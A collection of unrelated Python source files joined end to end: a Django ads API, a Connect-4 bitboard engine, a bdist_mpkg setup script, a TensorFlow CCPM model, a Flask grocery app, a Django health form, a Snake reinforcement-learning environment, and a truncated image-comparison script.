import json
from django.http import HttpResponse, JsonResponse
from django.views.generic import DetailView, ListView, CreateView, UpdateView, DeleteView
from django.utils.decorators import method_decorator
from django.views.decorators.csrf import csrf_exempt

from SKYPRO_HOMEWORK_27 import settings
from ads.models import Ad, Category
from django.core.paginator import Paginator
from django.shortcuts import get_object_or_404

from users.models import User

def index(request):
    return HttpResponse(200, {"status": "ok"})

class AdListView(ListView):
    model = Ad

    def get(self, request, *args, **kwargs):
        super().get(self, request, *args, **kwargs)

        all_ads = self.object_list.select_related('author', 'category').order_by('-price')

        paginator = Paginator(all_ads, settings.TOTAL_ON_PAGE)
        page_num = int(request.GET.get('page', 1))
        page_obj = paginator.get_page(page_num)

        ads = []
        for ad in page_obj:
            ads.append({
                "id": ad.id,
                "name": ad.name,
                "author_id": ad.author_id,
                "author": ad.author.username,
                "price": ad.price,
                "description": ad.description,
                "image": ad.image.url if ad.image else None,
                "is_published": ad.is_published,
                "category_id": ad.category_id,
                "category": ad.category.name,
        })
        response = {
            "items": ads,
            "num_pages": paginator.num_pages,
            "total": paginator.count,
        }
        return JsonResponse(response, safe=False, json_dumps_params={'ensure_ascii': False}, status=200)

class AdDetailView(DetailView):
    model = Ad

    def get(self, request, *args, **kwargs):
        try:
            ad = self.get_object()
        except Ad.DoesNotExist:
            return JsonResponse({"error": "Not found"}, status=404)

        return JsonResponse({
                "id": ad.id,
                "name": ad.name,
                "author_id": ad.author_id,
                "author": ad.author.username,
                "price": ad.price,
                "description": ad.description,
                "image": ad.image.url if ad.image else None,
                "is_published": ad.is_published,
                "category_id": ad.category_id,
                "category": ad.category.name,
        })

@method_decorator(csrf_exempt, name='dispatch')
class AdCreateView(CreateView):
    model = Ad
    fields = ["name", "author", "price", "description", "image", "is_published", "category"]

    def post(self, request, *args, **kwargs):
        ad_data = json.loads(request.body)

        author = get_object_or_404(User, id=ad_data["author_id"])
        category = get_object_or_404(Category, id=ad_data["category_id"])

        ad = Ad.objects.create(
            name=ad_data["name"],
            author_id=author.id,
            price=ad_data["price"],
            description=ad_data["description"],
            is_published=ad_data["is_published"],
            category_id=category.id,
        )

        return JsonResponse({
            "id": ad.id,
            "name": ad.name,
            "author_id": ad.author_id,
            "author": ad.author.username,
            "price": ad.price,
            "description": ad.description,
            "image": ad.image.url if ad.image else None,
            "is_published": ad.is_published,
            "category_id": ad.category_id,
            "category": ad.category.name,
        }, status=201)

@method_decorator(csrf_exempt, name='dispatch')
class AdImageView(UpdateView):
    model = Ad
    fields = ["name", "author", "price", "description", "image", "is_published", "category"]

    def post(self, request, *args, **kwargs):
        ad = self.get_object()

        ad.image = request.FILES.get("image", None)
        ad.save()

        return JsonResponse({
            "id": ad.id,
            "name": ad.name,
            "author_id": ad.author_id,
            "price": ad.price,
            "description": ad.description,
            "image": ad.image.url if ad.image else None,
            "is_published": ad.is_published,
            "category_id": ad.category_id,
        })

@method_decorator(csrf_exempt, name='dispatch')
class AdUpdateView(UpdateView):
    model = Ad
    fields = ["name", "author", "price", "description", "image", "is_published", "category"]

    def patch(self, request, *args, **kwargs):
        super().post(request, *args, **kwargs)

        ad_data = json.loads(request.body)
        author = get_object_or_404(User, id=ad_data["author_id"])
        category = get_object_or_404(Category, id=ad_data["category_id"])
        ad = self.object

        ad.name = ad_data["name"]
        ad.author_id = author.id
        ad.price = ad_data["price"]
        ad.description = ad_data["description"]
        ad.is_published = ad_data["is_published"]
        ad.category_id = category.id

        ad.save()

        return JsonResponse({
            "id": ad.id,
            "name": ad.name,
            "author_id": ad.author_id,
            "price": ad.price,
            "description": ad.description,
            "image": ad.image.url if ad.image else None,
            "is_published": ad.is_published,
            "category_id": ad.category_id,
        }, status=201)

@method_decorator(csrf_exempt, name="dispatch")
class AdDeleteView(DeleteView):
    model = Ad
    success_url = '/'

    def delete(self, request, *args, **kwargs):
        super().delete(request, *args, **kwargs)

        return JsonResponse({'status': 'ok'}, status=200)


import numpy as np
from typing import Tuple, List, Union

class GameOvers:
    _game_overs = None

    def __init__(self, width, height, mark_in_row):
        self._width = width
        self._height = height
        self._mark_in_row = mark_in_row
        self._game_overs = None

    def _get_game_overs(self) -> np.ndarray:
        """Creates a set of all winning board positions, over 4 directions: horizontal, vertical and 2 diagonals"""
        game_overs = []

        mask_horizontal = 0
        mask_vertical = 0
        mask_diagonal_dl = 0
        mask_diagonal_ul = 0
        for n in range(self._mark_in_row):  # use prange() with numba(parallel=True)
            mask_horizontal |= 1 << n
            mask_vertical |= 1 << n * self._width
            mask_diagonal_dl |= 1 << n * self._width + n
            mask_diagonal_ul |= 1 << n * self._width + (self._mark_in_row - 1 - n)

        row_inner = self._height - self._mark_in_row
        col_inner = self._width - self._mark_in_row
        for row in range(self._height):  # use prange() with numba(parallel=True)
            for col in range(self._width):  # use prange() with numba(parallel=True)
                offset = col + row * self._width
                if col <= col_inner:
                    game_overs.append(mask_horizontal << offset)
                if row <= row_inner:
                    game_overs.append(mask_vertical << offset)
                if col <= col_inner and row <= row_inner:
                    game_overs.append(mask_diagonal_dl << offset)
                    game_overs.append(mask_diagonal_ul << offset)

        return np.array(game_overs)

    @staticmethod
    def get_instance(width, height, mark_in_row):
        if GameOvers._game_overs is None:
            GameOvers._game_overs = GameOvers(width, height, mark_in_row)
            GameOvers._game_overs._game_overs = GameOvers._game_overs._get_game_overs()
        return GameOvers._game_overs._game_overs

class BitBoard:
    def __init__(self, width, height, mark_in_row, player, bit_board: np.ndarray):
        self._width = width
        self._height = height
        self._mark_in_row = mark_in_row
        self._bitboard = bit_board
        # Payer: 1->0, 2->1
        self._player = (player + 1) % 2
        self._mask_board = (np.int64(1) << self._width * self._height) - 1
        self._mask_legal_moves = (np.int64(1) << self._width) - 1
        self._end_state = False
        self._draw = False
        self._game_overs = GameOvers.get_instance(
            self._width, self._height, self._mark_in_row
        )
        self._top_marks = {}
        # self._set_top_marks()
        self._matrix = None
        self._last_action = 0
        self._ply = 0

    """ Create from a kaggle board """

    @classmethod
    def create_from_board(cls, width, height, mark_in_row, player, board: list):
        return cls(width, height, mark_in_row, player, BitBoard.list_to_bitboard(board))

    """ Clone from bitboard[0], bitboard[1] """

    @classmethod
    def create_from_bitboard(cls, width, height, mark_in_row, player, bitboard):
        return cls(width, height, mark_in_row, player, bitboard)

    """ Create an empty board """

    @classmethod
    def create_empty_board(cls, width, height, mark_in_row, player):
        return cls(width, height, mark_in_row, player, np.array([0, 0], dtype=np.int64))

    """ Copy a BitBoard instance """

    def __copy__(self):
        bb = BitBoard(
            self._width,
            self._height,
            self._mark_in_row,
            self._player + 1,
            np.copy(self._bitboard),
        )
        # bb._top_marks = self._top_marks.copy()
        return bb

    """ Convert the kaggle list-board to bitboard """

    @staticmethod
    def list_to_bitboard(board: Union[np.ndarray, List[int]]) -> np.ndarray:
        # bitboard[0] = played, is a square filled             | 0 = empty, 1 = filled
        # bitboard[1] = player, who's token is this, if filled | 0 = empty, 1 = filled
        bitboard_played = np.int64(
            0
        )  # 42 bit number for if board square has been played
        bitboard_player = np.int64(0)  # 42 bit number for player 0=p1 1=p2
        if isinstance(board, np.ndarray):
            board = board.flatten()
        for n in range(len(board)):  # prange
            if board[n] != 0:
                bitboard_played |= 1 << n  # is a square filled (0 = empty | 1 = filled)
                if board[n] == 2:
                    bitboard_player |= (
                        1 << n
                    )  # mark as player 2 square, else assume p1=0 as default
        bitboard = np.array([bitboard_played, bitboard_player], dtype=np.int64)
        return bitboard

    """ Convert bitboard back to list-based board """

    def to_list(self):
        board = []
        for n in range(self._width * self._height):
            is_played = (self._bitboard[0] >> n) & 1
            if is_played:
                player = (self._bitboard[1] >> n) & 1
                board.append(int(player + 1))
            else:
                board.append(int(0))
        return board

    """ Convert bitboard back to list-based board """

    @staticmethod
    def bitboard_to_list(columns, rows, bitboard):
        board = []
        for n in range(columns * rows):
            is_played = (bitboard[0] >> n) & 1
            if is_played:
                player = (bitboard[1] >> n) & 1
                board.append(int(player + 1))
            else:
                board.append(int(0))
        return board

    def bitboard_to_numpy(self) -> np.ndarray:
        global configuration
        rows = self._height
        columns = self._width
        size = rows * columns
        output = np.zeros((size,), dtype=np.int8)
        for i in range(size):  # prange
            is_played = (self._bitboard[0] >> i) & 1
            if is_played:
                player = (self._bitboard[1] >> i) & 1
                output[i] = 1 if player == 0 else 2
        # return output.reshape((rows, columns))
        return output

    @staticmethod
    def bitboard_to_numpy2d(bitboard, columns=7, rows=6) -> np.ndarray:
        global configuration
        size = rows * columns
        output = np.zeros((size,), dtype=np.int8)
        for i in range(size):  # prange
            is_played = (bitboard[0] >> i) & 1
            if is_played:
                player = (bitboard[1] >> i) & 1
                output[i] = 1 if player == 0 else 2
        return output.reshape((rows, columns))

    @staticmethod
    def board_channels(numpy_data):
        channels = np.zeros((1, 6, 7, 2))
        channels[:, :, :, 0] = np.where(numpy_data == 1, 1, 0)
        channels[:, :, :, 1] = np.where(numpy_data == 2, 1, 0)
        return channels

    """ Convert bitboard back to list-based board """

    @staticmethod
    def from_bitboard_to_list(width, height, bitboard):
        board = []
        for n in range(width * height):
            is_played = (bitboard[0] >> n) & 1
            if is_played:
                player = (bitboard[1] >> n) & 1
                board.append(int(player + 1))
            else:
                board.append(int(0))
        return board

    """ Convert bitboard back to list-based board """

    def to_str(self):
        board = ""
        for n in range(self._width * self._height):
            is_played = (self._bitboard[0] >> n) & 1
            if is_played:
                player = (self._bitboard[1] >> n) & 1
                board += str(player + 1)
            else:
                board += "0"
        return board

    """ Check if the state is a draw """

    def is_draw(self) -> bool:
        """If all the squares on the top row have been played, then there are no more moves"""
        return self._bitboard[0] & self._mask_legal_moves == self._mask_legal_moves

    """ Returns the possible actions for the board """

    def possible_actions(self):
        """Returns the indexes of columns, which are not yet full"""
        possible_actions = self._bitboard[0] & self._mask_legal_moves
        return [i for i in range(self._width) if not ((possible_actions >> i) & 1)]

    """ Find the first empty row so that the new piece can be placed there """

    def _first_empty_row_for_column(self, column):
        for i in range(self._height - 1, -1, -1):
            mask_column = (np.int64(1) << column) << (i * self._width)
            if not (self._bitboard[0] & mask_column):
                return i

    """" Check if the board is an end state """

    def is_end_state(self):
        return np.any(
            (self._bitboard[0] & self._bitboard[1]) & self._game_overs[:]
            == self._game_overs[:]
        ) or np.any(
            (self._bitboard[0] & ~self._bitboard[1]) & self._game_overs[:]
            == self._game_overs[:]
        )
        # return any([g for g in self._game_overs if (self._bitboard[0] & self._bitboard[1]) & g == g or
        #             (self._bitboard[0] & ~self._bitboard[1]) & g == g])

    """ Perform the given action on the board """

    def make_action(self, column):
        # find the lowest mark, which is not yet marked in the given column
        row = self._first_empty_row_for_column(column)
        new_mark_mask = np.int64(1) << (row * self._width + column)
        self._bitboard[0] |= new_mark_mask
        if self._player:
            self._bitboard[1] |= new_mark_mask
        # If we reached an end-state:
        self._end_state = self.is_end_state()
        # Check if there is a draw
        self._draw = self.is_draw()

        # self._top_marks[column] = self._player + 1

        # Make the other player the active player
        self._swap_player()

        self._last_action = column

        self._ply += 1

    def ply(self):
        return self._ply

    """ After a move was done, swap the player """

    def _swap_player(self):
        self._player = (self._player + 1) % 2

    """" Who is the active player (the player who moves next) """

    def active_player(self):
        return self._player + 1

    """ Get the last player """

    def last_player(self):
        return 2 - self._player

    """ Returns whether the board is a terminal state """

    def is_terminal_state(self) -> bool:
        return self._end_state or self._draw

    """ What are the top-marks - for a trivial heuristic """

    def top_marks(self):
        d = dict()
        return d

    """ Set the top marks after a move """

    def _set_top_marks(self):
        for n in range(self._width * self._height - 1, -1, -1):
            mask = np.int64(1) << n
            if self._bitboard[0] & mask:
                if self._bitboard[1] & mask:
                    player = 2
                else:
                    player = 1
                self._top_marks[n % self._width] = player

    """ Get the two bitboards as a hash, this is used when bitboards are stored in a dictionary """

    def hash(self):
        return self._bitboard[0], self._bitboard[1]

    """ Get the last action """

    def last_action(self):
        return self._last_action

    """ After the opponent's move, compare boards to find out what his move was """

    def set_last_action(self, board):
        action_bit = self._bitboard[0] ^ board._bitboard[0]
        masks = []
        for c in range(self._width):
            masks.append(1 << c)
            for i in range(1, self._width):
                masks[c] = (np.int64(1) << (self._width * i + c)) | masks[c]
        for c in masks:
            if (action_bit & c) > 0:
                self._last_action = masks.index(c)
                break

    """ Swap the marks on the board """

    def swap_marks_board(self):
        return self._bitboard[0], ~self._bitboard[1]

    def mirror_board(self):
        # Get mirrored board
        board = self.bitboard_to_numpy()
        board = np.flip(board, 1)
        return list(
            board.reshape(
                self._width * self._height,
            )
        )

    def channels(self):
        np_boards = np.array(self.bitboard_to_numpy())
        np_boards = np_boards.reshape((1, 6, 7))
        np_boards_channels = np.zeros((1, 6, 7, 2))
        np_boards_channels[:, :, :, 0] = np.where(np_boards == 1, 1, 0)
        np_boards_channels[:, :, :, 1] = np.where(np_boards == 2, 1, 0)
        return np_boards_channels


#!/usr/bin/env python

try:
    from distutils.command.build_py import build_py_2to3 as build_py
except ImportError:
    from distutils.command.build_py import build_py

from setuptools import setup, Extension

VERSION = '0.4.4'
DESCRIPTION = "Builds Mac OS X installer packages from distutils"
LONG_DESCRIPTION = """
bdist_mpkg is a distutils plugin that implements the bdist_mpkg command,
which builds a Mac OS X metapackage for use by Installer.app for easy GUI
installation of Python modules, much like bdist_wininst.

It also comes with a bdist_mpkg script, which is a setup.py front-end that
will allow you to easy build an installer metapackage from nearly any existing
package that uses distutils.
"""

CLASSIFIERS = [_f for _f in map(str.strip,
"""
Intended Audience :: Developers
License :: OSI Approved :: MIT License
Programming Language :: Python
Operating System :: MacOS :: MacOS X
Topic :: Software Development :: Libraries :: Python Modules
Topic :: Software Development :: Build Tools
""".splitlines()) if _f]

setup(
    name="bdist_mpkg",
    version=VERSION,
    description=DESCRIPTION,
    long_description=LONG_DESCRIPTION,
    classifiers=CLASSIFIERS,
    author="Bob Ippolito",
    author_email="bob@redivi.com",
    url="http://undefined.org/python/#bdist_mpkg",
    license="MIT License",
    packages=['bdist_mpkg'],
    platforms=['any'],
    zip_safe=True,
    entry_points={
        'distutils.commands': [
            'bdist_mpkg = bdist_mpkg.cmd_bdist_mpkg:bdist_mpkg',
        ],
        'console_scripts': [
            'bdist_mpkg = bdist_mpkg.script_bdist_mpkg:main',
        ],
    },
    cmdclass = {'build_py': build_py}
)


'''
# Time   : 2021/1/7 17:21
# Author : junchaoli
# File   : model.py
'''

from layer import DNN, CCPM_layer

import tensorflow as tf
from tensorflow.keras.models import Model
from tensorflow.keras.layers import Embedding

class CCPM(Model):
    def __init__(self, feature_columns, hidden_units, out_dim=1, activation='relu', dropout=0.0,
                 filters=[4, 4], kernel_width=[6, 5]):
        super(CCPM, self).__init__()
        self.dense_feature_columns, self.sparse_feature_columns = feature_columns
        self.emb_layers = [Embedding(feat['feat_onehot_dim'], feat['embed_dim'])
                                for i,feat in enumerate(self.sparse_feature_columns)]
        self.dnn_layer = DNN(hidden_units, out_dim, activation, dropout)
        self.ccpm_layer = CCPM_layer(filters, kernel_width)

    def call(self, inputs, training=None, mask=None):
        # dense_inputs:  [None, 13]
        # sparse_inputs: [None, 26]
        dense_inputs, sparse_inputs = inputs[:, :13], inputs[:, 13:]
        sparse_embed = [layer(sparse_inputs[:, i]) for i, layer in enumerate(self.emb_layers)] # 26 * [None, k]
        sparse_embed = tf.transpose(tf.convert_to_tensor(sparse_embed), [1, 0, 2])             # [None, 26, k]

        ccpm_out = self.ccpm_layer(sparse_embed)   # [None, new_field*k]
        x = tf.concat([dense_inputs, ccpm_out], axis=-1)
        output = self.dnn_layer(x)
        return output


import sqlite3
from aifc import Error

import flask
from flask import request, Flask

app = Flask(__name__)

@app.route('/')
def hello_world82():
    return 'Welcome to Smart Groceries'

@app.route('/shoppinglist')
def hello_world2():
    conn = create_connection("datenbank.db")
    return select_all_tasks(conn)

@app.route('/products')
def hello_world832():
    conn = create_connection("datenbank.db")
    chosen = request.args.get("Produktname")
    cur = conn.cursor()
    cur.execute("SELECT * FROM produktinformationen WHERE Produktname = ?", (chosen,))

    row = cur.fetchone()

    return flask.jsonify(row)

def select_all_tasks(conn):
    cur = conn.cursor()
    cur.execute("SELECT * FROM produktinformationen;")

    rows = cur.fetchall()

    return flask.jsonify(rows)

def create_connection(db_file):
    conn = None
    try:
        conn = sqlite3.connect(db_file)
    except Error as e:
        print(e)

    return conn

if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000', debug=True)


from .models import *
from django import forms
from django.conf import settings
from os.path import join as join_path

from django.contrib.auth import get_user_model
from django.core.exceptions import ValidationError
from django.utils.translation import gettext_lazy as _

class UserHealthInfoForm(forms.ModelForm):

    Gender = forms.CharField(
        # label='Your gender',
        widget=forms.TextInput(
            attrs={

                'type': 'text',
                'id': 'gender',
                'name': 'gender',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'Your gender',
            }
        )
    )

    age = forms.CharField(
        # label='Your age',
        widget=forms.EmailInput(
            attrs={

                'type': 'text',
                'id': 'age',
                'name': 'age',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'Your age',
            }
        )
    )

    blood_group = forms.CharField(
        # label='Your blood group',
        widget=forms.TextInput(
            attrs={

                'id': 'blood-group',
                'name': 'blood-group',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'Your blood group',
            }
        )
    )

    genotype = forms.CharField(
        # label='Your genotype',
        widget=forms.TextInput(
            attrs={

                'id': 'genotype',
                'name': 'genotype',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'Your genotype',
            }
        )
    )

    ebola_status = forms.BooleanField(
        required=False,
        label='Do you have ebola currently?',
        widget=forms.CheckboxInput(
            attrs={

                'class': 'm-2',
                'id': 'ebolaStatus',
                # 'checked': 'checked',
            }
        )
    )

    malaria_status = forms.BooleanField(
        required=False,
        label='Do you have malaria currently?',
        widget=forms.CheckboxInput(
            attrs={

                'class': 'm-2',
                'id': 'malariaStatus',
                # 'checked': 'checked',
            }
        )
    )

    previous = forms.BooleanField(
        required=False,
        label='Do you have any previous health challenges?',
        widget=forms.CheckboxInput(
            attrs={

                'class': 'm-2',
                'id': 'previousHealthIssues',
                # 'checked': 'checked',
                'onclick': 'yesnoCheck()',
            }
        )
    )

    previous_illness1 = forms.CharField(
        required=False,
        label='What was your illness?',
        widget=forms.TextInput(
            attrs={

                'maxlength': '20',
                'style': 'display:none;',
                'id': 'previous-illness1',
                'name': 'previous-illness1',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'What was your illness?',
            }
        )
    )

    previous_illness2 = forms.CharField(
        required=False,
        label='Subject',
        widget=forms.TextInput(
            attrs={

                'style': 'display:none;',
                'id': 'previous-illness2',
                'name': 'previous-illness2',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'What was your illness?',
            }
        )
    )

    previous_illness3 = forms.CharField(
        required=False,
        label='Write your message here',
        widget=forms.TextInput(
            attrs={

                'style': 'display:none;',
                'id': 'previous-illness3',
                'name': 'previous-illness3',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'What was your illness?',
            }
        )
    )

    previous_illness4 = forms.CharField(
        required=False,
        label='Write your message here',
        widget=forms.TextInput(
            attrs={

                'style': 'display:none;',
                'id': 'previous-illness4',
                'name': 'previous-illness4',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'What was your illness?',
            }
        )
    )

    previous_illness5 = forms.CharField(
        required=False,
        label='Write your message here',
        widget=forms.TextInput(
            attrs={

                'style': 'display:none;',
                'id': 'previous-illness5',
                'name': 'previous-illness5',
                'class': 'form-control bg-white border-md pl-3',
                'placeholder': 'What was your illness?',
            }
        )
    )

    class Meta:
        model = UserHealthInfo
        fields = (
            'Gender',
            'age',
            'blood_group',
            'genotype',
            'ebola_status',
            'malaria_status',
            'previous',
            'previous_illness1',
            'previous_illness2',
            'previous_illness3',
            'previous_illness4',
            'previous_illness5',
        )

    def save(self, request, commit=True):
        UserHealthInfo_instance = super(UserHealthInfoForm, self).save(commit=False)
        UserHealthInfo_instance.user = request.user
        UserHealthInfo_instance.Gender = self.cleaned_data['Gender']
        UserHealthInfo_instance.age = self.cleaned_data['age']
        UserHealthInfo_instance.blood_group = self.cleaned_data['blood_group']
        UserHealthInfo_instance.genotype = self.cleaned_data['genotype']
        UserHealthInfo_instance.ebola_status = self.cleaned_data['ebola_status']
        UserHealthInfo_instance.malaria_status = self.cleaned_data['malaria_status']
        UserHealthInfo_instance.previous = self.cleaned_data['previous']
        UserHealthInfo_instance.previous_illness1 = self.cleaned_data['previous_illness1']
        UserHealthInfo_instance.previous_illness2 = self.cleaned_data['previous_illness2']
        UserHealthInfo_instance.previous_illness3 = self.cleaned_data['previous_illness3']
        UserHealthInfo_instance.previous_illness4 = self.cleaned_data['previous_illness4']
        UserHealthInfo_instance.previous_illness5 = self.cleaned_data['previous_illness5']

        # try:
        #     UserHealthInfo_instance.visitorphonenumber = self.cleaned_data['visitorphonenumber']
        # except Exception as Error:
        #     raise (Error)

        if commit:
            try:
                UserHealthInfo_instance.save()
            except Exception as Error:
                raise (Error)

        return UserHealthInfo_instance


import gym
import numpy as np
import pygame, sys, time, random
from stable_baselines3 import PPO

from gym import spaces

class SnakeEnv1(gym.Env):
  """Custom Environment that follows gym interface"""
  metadata = {'render.modes': ['human']}
  # any constant will be set here
  difficulty = 20
  # Window size
  frame_size_x = 470
  frame_size_y = 300
  # Colors (R, G, B)
  black = pygame.Color(0, 0, 0)
  white = pygame.Color(255, 255, 255)
  red = pygame.Color(255, 0, 0)
  green = pygame.Color(0, 255, 0)
  blue = pygame.Color(0, 0, 255)

  # It is better to change Actions into Constants
  LEFT = 0
  RIGHT = 1
  UP = 2
  DOWN = 3

  def __init__(self): # we don't need to pass any arguments through constructor
    super(SnakeEnv1, self).__init__()
    pygame.init() # for any intialization should be inside constructor
    # Initialise game window
    pygame.display.set_caption('Snake Eater')
    self.game_window = pygame.display.set_mode((self.frame_size_x, self.frame_size_y))
    # FPS (frames per second) controller
    self.fps_controller = pygame.time.Clock()

    # Game variables
    self.snake_pos = [100, 50]
    self.prev_snake_pos = [100, 50] # to calculate the distance bet current and prv to reward the action. (We should put it in reset as well)
    self.snake_body = [[100, 50], [100 - 10, 50], [100 - (2 * 10), 50]]

    self.food_pos = [random.randrange(1, (self.frame_size_x // 10)) * 10, random.randrange(1, (self.frame_size_y // 10)) * 10]
    self.food_spawn = True

    self.direction = 'RIGHT'
    self.change_to = self.direction
    self.score = 0
    self.counter = 0
    self.game_over = False # this is Game over function, we set zero because we don't need finish while Game over but we need to reset to intial status in case of Game over during training model
    # Define action and observation space
    # They must be gym.spaces objects
    # Example when using discrete actions:
    # number of actions == 4 so (from 0 to 3 inclusive), it is better to change numbers to constants
    no_of_actions = 4  # in case of snake there are 4 steps and actions (Discrete) (up,down,right,left)
    no_of_observations= 4
    self.action_space = spaces.Discrete(no_of_actions)
    # Example for using image as input:
    self.observation_space = spaces.Box(low=-np.inf, high=np.inf, shape=(no_of_observations,), dtype=np.float32)# we will just pass number of observations

  def step(self, action):
      self.counter += 1 # to avoid rotating around itself
      if self.counter > 100:
          return np.array([self.snake_pos[0], self.snake_pos[1], self.food_pos[0], self.food_pos[1]], dtype=np.float32), -100, True, {}
      if action == self.UP:
          self.change_to = 'UP'
      if action == self.DOWN:
          self.change_to = 'DOWN'
      if action == self.LEFT:
          self.change_to = 'LEFT'
      if action == self.RIGHT:
          self.change_to = 'RIGHT'

      # Making sure the snake cannot move in the opposite direction instantaneously ( it means we can't return 180 degree)
      if self.change_to == 'UP' and self.direction != 'DOWN':
          self.direction = 'UP'
      if self.change_to == 'DOWN' and self.direction != 'UP':
          self.direction = 'DOWN'
      if self.change_to == 'LEFT' and self.direction != 'RIGHT':
          self.direction = 'LEFT'
      if self.change_to == 'RIGHT' and self.direction != 'LEFT':
          self.direction = 'RIGHT'

      # Moving the snake
      if self.direction == 'UP':
          self.snake_pos[1] -= 10
      if self.direction == 'DOWN':
          self.snake_pos[1] += 10
      if self.direction == 'LEFT':
          self.snake_pos[0] -= 10
      if self.direction == 'RIGHT':
          self.snake_pos[0] += 10
      # Snake body growing mechanism (any time the snake moves, the body size increases whether eat or not)
      #but the body decreaes later (by pop() function ) if the snake doesn't eat food (so the size keeps the same)
      self.snake_body.insert(0, list(self.snake_pos))
      if self.snake_pos[0] == self.food_pos[0] and self.snake_pos[1] == self.food_pos[1]:
          self.counter = 0 # reset counter that is used to avoid rotating itself
          self.score += 1   # the score increase when eating food
          self.food_spawn = False   # food will disappear after eating and will be shown in different position as below
      else:
          self.snake_body.pop()# Python list pop() is an inbuilt function in Python that removes and returns the last value from the List or the given index value

      # Spawning food on the screen (put food in another location on screen)
      if not self.food_spawn:
          self.food_pos = [random.randrange(1, (self.frame_size_x // 10)) * 10, random.randrange(1, (self.frame_size_y // 10)) * 10]
      self.food_spawn = True
      # Game Over conditions
      # Getting out of bounds
      if self.snake_pos[0] < 0 or self.snake_pos[0] > self.frame_size_x - 10:
          self.game_over = True
      if self.snake_pos[1] < 0 or self.snake_pos[1] > self.frame_size_y - 10:
          self.game_over = True
      # Touching the snake body
      for block in self.snake_body[1:]:
          if self.snake_pos[0] == block[0] and self.snake_pos[1] == block[1]:
              self.game_over = True
      reward = 0
      if self.snake_pos[0] == self.food_pos[0] and self.snake_pos[1] == self.food_pos[1]:
          reward = 100
      elif abs(self.snake_pos[0] - self.food_pos[0]) + abs(self.snake_pos[1] - self.food_pos[1]) > abs(self.prev_snake_pos[0] - self.food_pos[0]) + abs(self.prev_snake_pos[1] - self.food_pos[1]):
          reward = -1
      elif abs(self.snake_pos[0] - self.food_pos[0]) + abs(self.snake_pos[1] - self.food_pos[1]) < abs(self.prev_snake_pos[0] - self.food_pos[0]) + abs(self.prev_snake_pos[1] - self.food_pos[1]):
          reward = 1
      self.prev_snake_pos = self.snake_pos.copy()
      done = self.game_over
      info = {}
      return np.array([self.snake_pos[0], self.snake_pos[1], self.food_pos[0], self.food_pos[1]], dtype=np.float32), reward, done, info

  def reset(self):
      # we need the variable that are in init (constructor) which are changed every time we reset the Game
      # Game variables
      # Game variables
      self.snake_pos = [100, 50]
      self.prev_snake_pos = [100, 50]
      self.snake_body = [[100, 50], [100 - 10, 50], [100 - (2 * 10), 50]]
      self.counter = 0
      self.food_pos = [random.randrange(1, (self.frame_size_x // 10)) * 10,
                       random.randrange(1, (self.frame_size_y // 10)) * 10]
      self.food_spawn = True

      self.direction = 'RIGHT'
      self.change_to = self.direction

      self.score = 0
      self.game_over = False
      # we need to return snake and food positions in arrary numpy that has type float32 as we defined at oberservation space
      return np.array([self.snake_pos[0], self.snake_pos[1], self.food_pos[0], self.food_pos[1]], dtype=np.float32)  # reward, done, info can't be included

  def render(self, mode='human'):
      # GFX
      self.game_window.fill(self.black)
      for pos in self.snake_body:
          # Snake body
          # .draw.rect(play_surface, color, xy-coordinate)
          # xy-coordinate -> .Rect(x, y, size_x, size_y)
          pygame.draw.rect(self.game_window, self.green, pygame.Rect(pos[0], pos[1], 10, 10))

      # Snake food
      pygame.draw.rect(self.game_window, self.white, pygame.Rect(self.food_pos[0], self.food_pos[1], 10, 10))
      self.show_score(1, self.white, 'consolas', 20)
      # Refresh game screen
      pygame.display.update()
      # Refresh rate
      self.fps_controller.tick(self.difficulty)

  def close(self):
      pygame.quit()
      sys.exit()

  def show_score(self, choice, color, font, size):
      score_font = pygame.font.SysFont(font, size)
      score_surface = score_font.render('Score : ' + str(self.score), True, color)
      score_rect = score_surface.get_rect()
      if choice == 1:
          score_rect.midtop = (self.frame_size_x / 10, 15)
      else:
          score_rect.midtop = (self.frame_size_x / 2, self.frame_size_y / 1.25)
      self.game_window.blit(score_surface, score_rect)
      # pygame.display.flip()

# env = gym.make("CartPole-v1")
env = SnakeEnv1()

model = PPO('MlpPolicy', env, verbose=1)
model.learn(total_timesteps=100000)
#model.save("snake_ai_model")
# model = PPO.load("snake_ai_model")
obs = env.reset()

for i in range(200):
    action, _state = model.predict(obs, deterministic=True)
    obs, reward, done, info = env.step(action)
    env.render()
    print(obs, reward, done)
    if done:
      obs = env.reset()

# env.close()


from skimage import metrics
import numpy as np
import cv2
import pandas as pd
import time
import os
import logging

def read_csv(input_file_path):
    """
    :param input_file_path str: The full path to the image
    :returns the pandas read CSV
    Reading the file with full path obtained from the customer input
    """
    csvfile = pd.read_csv(input_file_path)
    return csvfile

def mean_squared_error(imageA, imageB):
    """
    :param imageA obj: A CV2 Image object to compare
    :param imageB obj: A secondary CV2 Image object to compare
    :returns an error index, the lower the error the more similar they are
    The 'Mean Squared Error' between the two images is the
    sum of the squared difference between the two images;
    NOTE: the two images must have the same dimension
    """
    logging.debug("mean_squared_error")
    err = np.sum((imageA.astype("float") - imageB.astype("float")) ** 2)
    err /= float(imageA.shape[0] * imageA.shape[1])

    # return the mean_squared_error, the lower the error, the more "similar"
    # the two images are
    return err

def compare_images(imageA, imageB):
    """
    Compute the mean squared error and structural similarity
    :param imageA obj: A CV2 Image object to compare
    :param imageB obj: A secondary CV2 Image object to compare
    :returns tuple composed of mean_squared_error and negated structural_similarity
    """
    logging.debug("compare_images")
    mse = mean_squared_error(imageA, imageB)
    similarity = metrics.structural_similarity(imageA, imageB)
    return mse, 1-similarity

def compare(filePath1, filePath2):
    """
    Opens, imports and compares two file paths that should be images
    :param filePath1: The full path to an image file.
    :param filePath2: The full path to a secondary image file.
    :returns tuple with mean_squared_error, structural_similarity
              and the duration of the processing
    """
    start = time.time()
    image1 = cv2.imread(filePath1)
    image2 = cv2.imread(filePath2)
    image1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
    image2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
    dim = (1024, 768)
    image1 = cv2.resize(image1, dim, interpolation=cv2.INTER_AREA)
